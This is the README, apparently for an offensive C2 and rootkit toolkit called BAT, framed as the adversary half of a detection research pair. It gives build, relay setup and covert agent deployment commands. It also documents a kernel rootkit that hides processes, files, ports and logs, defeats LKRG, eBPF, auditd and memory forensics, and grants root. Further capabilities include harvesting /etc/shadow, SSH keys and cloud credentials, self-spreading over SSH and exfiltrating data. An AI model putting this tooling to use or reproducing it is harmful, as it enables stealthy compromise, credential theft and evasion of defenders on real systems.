BAT 是一个真实且不断演进的针对 Linux 和 Windows 的对手威胁模型。它不是 C2 框架,也不是 rootkit。它是一个完整的威胁模拟平台,将 C2 通信、内核级隐密 rootkit 模块、用户空间规避、权限提升、持久化、进程注入、凭据收集、数据外泄和横向移动集成到一个单一的、有凝聚力的对手模型中。设计目标是成为 2026 年最复杂、最真实的 Linux 威胁,独立于任何检测系统当前能捕获的内容。
它是一个研究配对中的对手方。Aura 框架进化以检测 Bat。Bat 进化以规避 Aura。对手永远不会被检测器所约束。
apt install nasm gcc-x86_64-linux-gnu binutils-x86_64-linux-gnu golang-go go install mvdan.cc/garble@latest
### 2. 配置```bash
cp build.env.example build.env
nano build.env # RELAY_IP, SECRET, BAT_KEY, CDN_DOMAIN
生成一个密钥:openssl rand -hex 16
./build.sh # garble agent (x86_64+arm64) + server (arm64) + netshell ./build.sh agent # agent only ./build.sh server # server arm64 only (EC2 / Mac M-series) ./build.sh server-amd64 # server x86_64 only (PC Intel/AMD) ./build.sh netshell # netshell only
二进制文件位于 `bin/`。
### 4. 启动中继```bash
# on the relay VPS (as root)
sudo bash -s -- --tg-token $TG_TOKEN --tg-chat-id $TG_CHAT_ID < relay/setup.sh
# from the operator machine
source build.env
relay/sync.sh ubuntu@$RELAY_IP --key $BAT_KEY --restart-kcc --tg
scp -i $BAT_KEY bin/netshell-v11-{x86_64,arm64} ubuntu@$RELAY_IP:/var/www/nexus/agents/
./bin/bat-server-v11-arm64 # tunnel starts automatically, no flags needed
在目标上部署代理:```bash
sudo setsid /path/to/bat-agent-v11-x86_64 </dev/null >/tmp/.log 2>&1 &
disown
Agent 会在一个信标间隔(默认30秒)内以 <agentID>@<hostname> 的形式出现在 bat-server 中。
内核隐藏层(bat-stealth.ko,源代码在 kperf-qos/ 中)直接构建在 Singularity 之上,Singularity 是一个高级内核 Rootkit 研究框架。其中移植并适配了四个核心模块:
bpf_hook:拦截 bpf(2) 及所有 eBPF 通信原语。任何 eBPF 传感器都无法获得隐藏 PID 的遥测数据。适配项:ARCH_SYS("bpf") 替代了仅适用于 x86 的 __x64_sys_bpf;移除了适用于 ARM64 的 __ia32_sys_bpf;HIDDEN_PORT 被一个可通过 sysfs 配置的全局变量替代。
hiding_fs:完整的文件系统擦除:getdents64/getdents 过滤、stat/statx/newfstatat nlink 调整、openat/access/faccessat 对 /proc/<pid> 的阻塞、chdir 和 readlink 阻塞。从五个 Singularity 模块合并而成(hiding_directory、hiding_stat、open、hiding_chdir、hiding_readlink)。适配项:REGS_ARGn 宏替代了直接寄存器访问;should_hide_path() 扩展用于运行时配置的 bat_hidden_paths[]。
hide_module:从所有内核模块列表中移除 bat-stealth.ko。扩展项:Singularity 已保存 list.prev;此版本同时保存了 list.prev 和 list.next,并对两者进行了破坏(poison)以阻止任意方向的遍历。添加了 module_unhide() 用于可逆移除,这是 K-99 在 delete_module(2) 能够按名称定位模块之前所需的操作。
lkrg_bypass:抑制 LKRG 对隐藏进程的强制措施:钩住信号投递以阻止向隐藏任务发送 SIGKILL,钩住 vprintk_emit 以丢弃 LKRG 日志消息,在 agent 执行期间禁用 UMH 验证。直接移植,无架构更改。
以下模块是独立开发的:
become_root:信号 59 钩子,调用 commit_creds(prepare_kernel_cred(NULL)) 授予 uid=0(K-03)selfdefense:阻止 LiME 内存获取,隐藏 kallsyms 条目,禁止对 agent 符号的 kprobes,在任何枚举尝试时重新隐藏模块audit:抑制对隐藏 PID 的 auditd 事件sysrq_hook:拦截 SysRq-T,将隐藏进程排除在任务转储之外taskstats_hook:过滤 NETLINK taskstats 响应中隐藏 PID 的信息reset_tainted + clear_taint_dmesg:将 /proc/sys/kernel/tainted 置零,并过滤 dmesg 中包含模块加载证据的行hooks_write:拦截所有内核写入路径(write/splice/sendfile/tee + io_uring_enter/enter2 + ia32 兼容),在日志条目写入 syslog 或 journald 之前丢弃包含 agent 字符串的日志pid_manager:fork 跟踪点,用于在子进程间维护隐藏 PID 集合整个堆栈使得 agent 及其所有工件对以下工具不可见:ps、top、ss、netstat、lsof、文件系统遍历隐藏路径、lsmod、sysfs、kallsyms、auditd、所有 eBPF 传感器、LKRG、LiME 和 SysRq 取证工具。
| ATT&CK ID | 技术 | Bat 实现 |
|---|---|---|
| T1036.005 | 伪装:匹配合法名称 | TTP 1:prctl(PR_SET_NAME) 改为 kworker/0:1 |
| T1055 | 进程注入 | TTP 11:shellcode + rawsock 线程注入到运行中的进程 |
| T1205.001 | 流量信号(魔法包) | UDP/ICMP 触发将 agent 从休眠状态唤醒 |
| T1071.001 | Web 协议 C2 | 通过 :443 或 :9443 的 HTTPS 信标 |
| T1573.001 | 加密信道:对称 | 基于 HMAC-SHA256 的身份验证信标,运行于 TLS 之上 |
| T1090.004 | 代理:域名前端 | CDN 配置文件通过边缘代理层路由 agent 流量 |
| T1574.006 | 劫持执行:LD_PRELOAD | TTP 10:通过 /etc/ld.so.preload 的 bat-rootkit.so |
| T1014 | Rootkit | bat-stealth.ko:隐藏 PID、端口、文件、模块、自身 |
| T1562.001 | 削弱防御:禁用工具 | bpf_hook 使 eBPF 传感器失效;lkrg_bypass 禁用 LKRG |
| T1562.012 | 削弱防御:禁用 Linux 审计 | audit 模块抑制隐藏 PID 的 auditd 事件 |
| T1068 | 利用漏洞提升权限 | K-03:信号 59 触发 commit_creds 以授予 uid=0 |
| T1543.002 | 创建/修改系统进程:Systemd | TTP 6:systemd unit 持久化 |
| T1053.003 | 计划任务:Cron | TTP 6:crontab 持久化 |
| T1070.002 | 清除 Linux 日志 | clear_taint_dmesg 过滤 dmesg;reset_tainted 将 taint 标记置零;hooks_write 在内核中丢弃日志条目 |
| T1070.004 | 指示器移除:文件删除 | TTP 222 销毁:完全清除工件 |
| T1003 | 凭证转储 | TTP 7/23:/etc/shadow、shell 历史、环境变量秘密 |
| T1552.004 | 未保护凭证:私钥 | TTP 21:SSH 密钥、known_hosts、配置 |
| T1552.005 | 云实例元数据 | TTP 23:AWS IMDS 凭证收集 |
| T1018 | 远程系统发现 | TTP 20/34:ARP 枚举 + /16 CIDR 扫描 |
| T1046 | 网络服务扫描 | TTP 20/34:对发现的主机进行 TCP 端口扫描 |
| T1021.004 | 通过 SSH 横向移动 | TTP 22/35:将自身 SCP 到发现的主机,以分离方式执行 |
| T1078 | 有效账户 | TTP 22/35:横向移动使用收集到的 SSH 密钥 |
| T1048 | 通过替代协议外传 | TTP 30/31/32:通过信标通道外传文件和目录 |
| T1059.004 | Unix Shell 执行 | TTP 4:任意命令执行 |
| T1027 | 混淆文件或信息 | garble -literals -tiny -seed=random;XOR(0x5A) 配置编码 |
| T1620 | 反射式代码加载 | TTP 11:在目标进程地址空间中执行的 shellcode;bat-stealth.ko 通过 memfd_create 加载 |
Target Relay (VPS) Operator (local)
bat-agent --HTTPS:443--> nginx:443 -> :8443 --tunnel--> bat-server:9443 --TCP:9443 --> sshd:9443 --tunnel--> --UDP/ICMP --> (trigger forwarded)
bat-agent --HTTPS:9444-> kcc-server:9444 (kernel compile)
| 组件 | 角色 |
|---|---|
| `bat-agent` | 代理。发送信标,执行 TTP。经 Garble 混淆。 |
| `bat-server` | 操作员控制台。交互式 CLI。管理所有代理。 |
| `netshell` | 投放二进制文件。看起来像系统工具;实际上是完整代理。 |
| `bat-rootkit.so` | LD_PRELOAD 用户态 rootkit。隐藏文件、PID、端口、环境变量。 |
| `bat-stealth.ko` | 内核隐写层(基于 Singularity)。 |
| `kcc-server` | 中继服务。按需为目标运行的内核编译 `bat-stealth.ko`。 |
| `relay/` | 中继基础设施:nginx、TLS、设置、同步、投放脚本。 |
---
## 已绕过的防御措施
| 类别 | 防御措施 | 绕过机制 |
|---|---|---|
| 进程监控 | `ps` / `top` / `/proc` 列表 | `hiding_procs.c`:`getdents64` 钩子在用户空间读取前从 procfs 中移除代理 PID 条目 |
| 进程监控 | `/proc/<pid>/status`、`/proc/<pid>/cmdline` | `hiding_procs.c`:`filldir` 钩子从所有 readdir 结果中过滤 PID 前缀 |
| 文件系统 | `ls` / `find` 针对代理文件和目录 | `hiding_fs.c`:对目标路径的 `getdents64`/`getdents` 钩子;调整 stat nlink 以匹配 |
| 文件系统 | `lsattr` / `chattr` 检测 | `hiding_fs.c`:对代理文件路径的 `ioctl` 拦截 |
| 文件系统 | `/proc/modules` / `lsmod` 列表 | `hiding_module.c`:从所有 sysfs 和 procfs 模块列表中移除 `bat-stealth.ko` 条目 |
| 网络 | `ss` / `netstat` 端口列表 | `hiding_net.c`:`tcp4_seq_show`/`tcp6_seq_show` 钩子从输出中剥离 C2 端口条目 |
| 网络 | `/proc/net/tcp`、`/proc/net/tcp6` | `hiding_net.c`:seq_file 读取拦截丢弃 C2 socket 行 |
| 日志 | `syslog` / `journald` 写入路径 | `hooks_write.c`:`write`/`splice`/`sendfile`/`tee` 拦截;匹配代理字符串的日志条目在内核中被丢弃 |
| 日志 | `io_uring` 异步写入路径 | `hooks_write.c`:拦截 `io_uring_enter`/`io_uring_enter2`;覆盖 ia32 兼容路径 |
| 内核安全 | `rkhunter` / `chkrootkit` | 模块从 `/proc/modules` 隐藏;代理文件从文件系统隐藏;已验证零告警 |
| 内核安全 | ClamAV | Garble `-literals -tiny` 混淆 + 无嵌入明文字符串;已验证零检测(数据库 2026-04-20) |
| EDR / eBPF | 读取 `/proc` 的 eBPF 传感器 | 隐藏钩子在 eBPF 环形缓冲区事件产生前在内核层面拦截 |
| 内核自省 | 针对代理符号的 `ftrace` / `kprobes` | `selfdefense` 模块阻止 kprobe 附加到代理函数地址 |
| 内核取证 | LiME 内存采集 | `selfdefense` 阻止 LiME 模块加载和原始内存设备访问 |
| 内核取证 | SysRq-T 任务转储 | `sysrq_hook` 将隐藏进程从 SysRq-T 写入的任务列表中排除 |
| 内核取证 | NETLINK taskstats | `taskstats_hook` 过滤 taskstats NETLINK 响应中的隐藏 PID |
| 内核完整性 | LKRG 强制执行 | `lkrg_bypass` 抑制 LKRG `SIGKILL` 投递并丢弃 LKRG 日志消息 |
| 审计子系统 | `auditd` 系统调用记录 | `audit` 模块在内核审计层抑制所有隐藏 PID 的审计事件 |
---
## 系统调用钩子
所有钩子由 `bat-stealth.ko` 在加载时通过 ftrace 安装。ia32 条目仅在 x86_64 上编译(`#ifdef ARCH_SYS_IA32`)。